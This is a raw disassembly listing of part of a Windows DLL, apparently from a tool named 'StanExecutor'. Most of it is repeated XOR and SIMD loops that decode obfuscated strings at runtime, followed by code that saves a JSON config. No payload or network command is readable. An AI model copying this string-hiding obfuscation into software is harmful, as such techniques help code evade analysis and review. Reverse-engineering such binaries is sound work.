packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa6c]
xorps xmm2, xmm1
movd dword [rbp + 0xa6c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa70]
xorps xmm2, xmm1
movd dword [rbp + 0xa70], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa74]
xorps xmm2, xmm1
movd dword [rbp + 0xa74], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800c8fe0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xba8], xmm1
lea rax, [rbp + 0xa68]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c9032
lea rdx, [rbp + 0xa68]
lea rcx, [rbp + 0xb98]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xb98]
lea rcx, [rbp + 0xb78]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xb98]
call fcn.18003e1a0
lea rax, [rbp + 0x798]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4494]
lea rcx, [rbp + 0x798]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SYY_VcNWS__6C]
movsd qword [rbp + 0x638], xmm0
mov edx, dword [0x180183350]
mov dword [rbp + 0x640], edx
movzx ecx, word [0x180183354]
mov word [rbp + 0x644], cx
cmp byte [0x180183355], 0
je 0x1800c9283
mov r8d, edi
cmp r15d, 2
jl 0x1800c923f
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SYY_VcNWS__6C]
xorps xmm1, xmm0
movd dword [rbp + 0x638], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x63c]
xorps xmm2, xmm1
movd dword [rbp + 0x63c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x640], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x638]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c9250
xorps xmm0, xmm0
movups xmmword [rbp + 0xbd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbe8], xmm1
lea rax, [rbp + 0x638]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c92a2
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0xbd8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xbd8]
lea rcx, [rbp + 0xbb8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xbd8]
call fcn.18003e1a0
lea rax, [rbp + 0x7a8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4496]
lea rcx, [rbp + 0x7a8]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.ETTOcNVP7]
movups xmmword [rbp + 0x7b8], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1800c9552
mov r8d, edi
cmp r15d, 2
jl 0x1800c950b
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x7b8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7bc]
xorps xmm2, xmm1
movd dword [rbp + 0x7bc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c0]
xorps xmm2, xmm1
movd dword [rbp + 0x7c0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm15, xmm0
andps xmm15, xmm10
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, dword [rbp + 0x7c4]
xorps xmm15, xmm1
movd dword [rbp + 0x7c4], xmm15
jmp 0x1800c9552
lea r9, [rbp + 0x7b8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800c9520
xorps xmm0, xmm0
movups xmmword [rbp + 0xc18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc28], xmm1
lea rax, [rbp + 0x7b8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c9571
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0xc18]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xc18]
lea rcx, [rbp + 0xbf8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xc18]
call fcn.18003e1a0
lea rax, [rbp + 0x7c8]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c8], xmm0
xor eax, eax
mov qword [rbp + 0x7d0], rax
movsxd rbx, dword [reloc.WS2_32.dll_getpeername]
movzx edx, byte [rbp + 0x7c8]
lea rcx, [rbp + 0x7d0]
call fcn.180072cc0
mov byte [rbp + 0x7c8], 5
mov qword [rbp + 0x7d0], rbx
movsd xmm0, qword [0x180183368]
movsd qword [rbp + 0x4c8], xmm0
movzx ecx, word [0x180183370]
mov word [rbp + 0x4d0], cx
movzx eax, byte [0x180183372]
mov byte [rbp + 0x4c8], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x4c9], 0x37
xor byte [rbp + 0x4ca], 0x38
xor byte [rbp + 0x4cb], 0x39
xor byte [rbp + 0x4cc], 0x3a
xor byte [rbp + 0x4cd], 0x3b
xor byte [rbp + 0x4ce], 0x3c
xor byte [rbp + 0x4cf], 0x3d
xor cl, 0x3e
mov byte [rbp + 0x4d0], cl
xor byte [rbp + 0x4d1], 0x3f
xor al, 0x40
mov byte [rbp + 0x4d2], al
xorps xmm0, xmm0
movups xmmword [rbp + 0xc58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc68], xmm1
lea rax, [rbp + 0x4c8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c96a5
lea rdx, [rbp + 0x4c8]
lea rcx, [rbp + 0xc58]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xc58]
lea rcx, [rbp + 0xc38]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
lea rdx, [rbp + 0x7c8]
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xc58]
call fcn.18003e1a0
lea rax, [rbp + 0x7d8]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7d8], xmm0
xor eax, eax
mov qword [rbp + 0x7e0], rax
movzx ebx, byte [0x1802b44fe]
movzx edx, byte [rbp + 0x7d8]
lea rcx, [rbp + 0x7e0]
call fcn.180072cc0
mov byte [rbp + 0x7d8], 4
mov byte [rsp + 0x48], bl
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x7e0], rax
lea rbx, [rbp + 0x7d8]
movsd xmm0, qword [str.T_WZQdUSNJ4AjT:]
movsd qword [rbp + 0x4f8], xmm0
mov ecx, dword [0x180183380]
mov dword [rbp + 0x500], ecx
cmp byte [0x180183383], 0
je 0x1800c9912
mov r8d, edi
cmp r15d, 2
jl 0x1800c98d9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.T_WZQdUSNJ4AjT:]
xorps xmm1, xmm0
movd dword [rbp + 0x4f8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4fc]
xorps xmm2, xmm1
movd dword [rbp + 0x4fc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x500], xmm2
jmp 0x1800c9912
lea r9, [rbp + 0x4f8]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c98e0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xca8], xmm1
lea rax, [rbp + 0x4f8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c9931
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0xc98]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0xc78]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xc98]
call fcn.18003e1a0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1930]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x180183384]
mov dword [rbp - 0x14], eax
movzx eax, byte [0x180183388]
mov byte [rbp - 0x14], 0x5c
xor byte [rbp - 0x13], 0x37
xor byte [rbp - 0x12], 0x38
xor byte [rbp - 0x11], 0x39
xor al, 0x3a
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x14]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800c99d0
lea rdx, [rbp - 0x14]
lea rcx, [rbp + 0x1848]
call fcn.180049910
mov rbx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1800c99f7
mov rbx, qword [rax]
lea rax, [0x1801828f8]
mov qword [rbp + 0x1930], rax
lea rcx, [rbp + 0x19d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r13d, 0x20
mov dword [rsp + 0x68], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1938]
lea rcx, [rbp + 0x1930]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x1930]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1930], r14
mov rax, qword [rbp + 0x1930]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xa8]
mov dword [rbp + rcx + 0x192c], r8d
lea rcx, [rbp + 0x1938]
call fcn.1800955b0
nop
mov r9d, 0x40
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp + 0x1938]
call fcn.1800ba820
test rax, rax
jne 0x1800c9abc
mov rax, qword [rbp + 0x1930]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1930]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x1930]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1930], r14
mov rax, qword [rbp + 0x1930]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x192c], edx
xor edx, edx
lea rcx, [rbp + 0x17f0]
call fcn.18006d180
mov dl, 1
lea rcx, [rbp + 0x17f0]
call fcn.180072550
nop
lea r14, [rbp + 0x7e8]
mov qword [rsp + 0x50], r14
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
mov r9b, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 4
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x17e0]
call fcn.1800a9730
nop
mov rdx, rax
lea rcx, [rbp + 0xcd8]
call fcn.180073480
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7e8], xmm0
xor eax, eax
mov qword [rbp + 0x7f0], rax
movzx edx, byte [rbp + 0x7e8]
lea rcx, [rbp + 0x7f0]
call fcn.180072cc0
mov byte [rbp + 0x7e8], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.18012e4dc
lea rcx, [rbp + 0x17b0]
mov qword [rbp + 0x1800], rcx
mov qword [rbp + 0x1808], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rax, qword [rbp + 0x1808]
test rax, rax
jne 0x1800c9beb
mov r8d, 0x4ceb
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.obj___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
mov rax, qword [rbp + 0x1808]
mov qword [rbp + 0x1808], rdi
mov qword [r14 + 8], rax
cmp byte [r14], 1
jne 0x1800c9c1a
test rax, rax
jne 0x1800c9c1a
mov r8d, 0x4e12
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::object__m_data.m_value.object___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 2
jne 0x1800c9c40
cmp qword [r14 + 8], 0
jne 0x1800c9c40
mov r8d, 0x4e13
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::array__m_data.m_value.array___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 3
jne 0x1800c9c66
cmp qword [r14 + 8], 0
jne 0x1800c9c66
mov r8d, 0x4e14
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::string__m_data.m_value.string___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 8
jne 0x1800c9c8c
cmp qword [r14 + 8], 0
jne 0x1800c9c8c
mov r8d, 0x4e15
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::binary__m_data.m_value.binary___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 1
jne 0x1800c9cb2
cmp qword [r14 + 8], 0
jne 0x1800c9cb2
mov r8d, 0x4e12
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::object__m_data.m_value.object___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 2
jne 0x1800c9cd8
cmp qword [r14 + 8], 0
jne 0x1800c9cd8
mov r8d, 0x4e13
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::array__m_data.m_value.array___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 3
jne 0x1800c9cfe
cmp qword [r14 + 8], 0
jne 0x1800c9cfe
mov r8d, 0x4e14
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::string__m_data.m_value.string___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
cmp byte [r14], 8
jne 0x1800c9d25
cmp qword [r14 + 8], 0
jne 0x1800c9d25
mov r8d, 0x4e15
lea rdx, str.E:ProjectsStanExecutor_srcmiscjson.hpp
lea rcx, str.m_data.m_type___value_t::binary__m_data.m_value.binary___nullptr
call sub.api_ms_win_crt_runtime_l1_1_0.dll__wassert
nop
mov eax, dword [str.UQ_9sYY_V]
mov dword [rbp - 0x38], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1800c9de2
mov r8d, edi
cmp r15d, 2
jl 0x1800c9da5
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x38], xmm1
jmp 0x1800c9de2
lea r9, [rbp - 0x38]
nop dword [rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800c9db0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd28], xmm1
lea rax, [rbp - 0x38]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800c9e00
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xd18]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0xd18]
lea rcx, [rbp + 0xcf8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17f0]
call fcn.18006f780
nop
mov rdx, r14
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0xd18]
call fcn.18003e1a0
nop
lea rcx, [rbp + 0xcd8]
call fcn.18003e1a0
nop
lea rcx, [rbp + 0xcb8]
call fcn.18003e1a0
cmp qword [rbp + 0x19b8], 0
je 0x1800c9eea
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
mov r9b, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 4
lea rdx, [rbp + 0xd38]
lea rcx, [rbp + 0x17f0]
call fcn.1800a9730
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1800c9eae
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x1930]
call fcn.18008ecc0
nop
lea rcx, [rbp + 0xd38]
call fcn.18003e1a0
lea rcx, [rbp + 0x1930]
call fcn.1800a8150
lea rdx, str.sucesso_ao_salvar_a_config_
lea rcx, str.config
call fcn.1800a5610
nop
xor edx, edx
lea rcx, [rbp + 0x17f0]
call fcn.180072550
nop
movzx edx, byte [rbp + 0x17f0]
lea rcx, [rbp + 0x17f8]
call fcn.180072cc0
nop
lea rcx, [rbp + 0x1930]
call fcn.18009e290
nop
xor edx, edx
lea rcx, [rbp + 0x17e0]
call fcn.180072550
nop
movzx edx, byte [rbp + 0x17e0]
lea rcx, [rbp + 0x17e8]
call fcn.180072cc0
nop
lea rcx, [rbp + 0x1848]
call fcn.18003e1a0
lea rbx, [0x1801835b8]
mov cl, 1
call fcn.18000c5c0
call fcn.18000cc90
mov dword [rbp + 0x2f8], 0x439d0000
mov dword [rbp + 0x2fc], 0x41400000
lea rcx, [rbp + 0x2f8]
call fcn.18001a0a0
call fcn.180009b80
movups xmm0, xmmword [str.rRKXNRJX]
movups xmmword [rbp + 0x1640], xmm0
movups xmm1, xmmword [0x1801833b0]
movups xmmword [rbp + 0x1650], xmm1
movsd xmm0, qword [0x1801833c0]
movsd qword [rbp + 0x1660], xmm0
movzx eax, word [0x1801833c8]
mov word [rbp + 0x1668], ax
movzx eax, byte [0x1801833ca]
mov byte [rbp + 0x166a], al
mov r8d, edi
cmp r15d, 2
jl 0x1800ca0e3
movdqa xmmword [rsp + 0x50], xmm13
lea rcx, [rbp + 0x1644]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1800c9ff0
cmp r8d, 0x2b
jge 0x1800ca123
movsxd rax, r8d
lea r9, [rbp + 0x1640]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1800ca0f0
mov dword [rbp + 0x300], 0x43910000
mov dword [rbp + 0x304], 0x42960000
movsd xmm0, qword [0x180183390]
movsd qword [rbp + 0x648], xmm0
mov ecx, dword [str.GO_21C]
mov dword [rbp + 0x650], ecx
movzx eax, word [0x18018339c]
mov word [rbp + 0x654], ax
cmp byte [0x18018339d], 0
je 0x1800ca313
mov r8d, edi
cmp r15d, 2
jl 0x1800ca2c9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
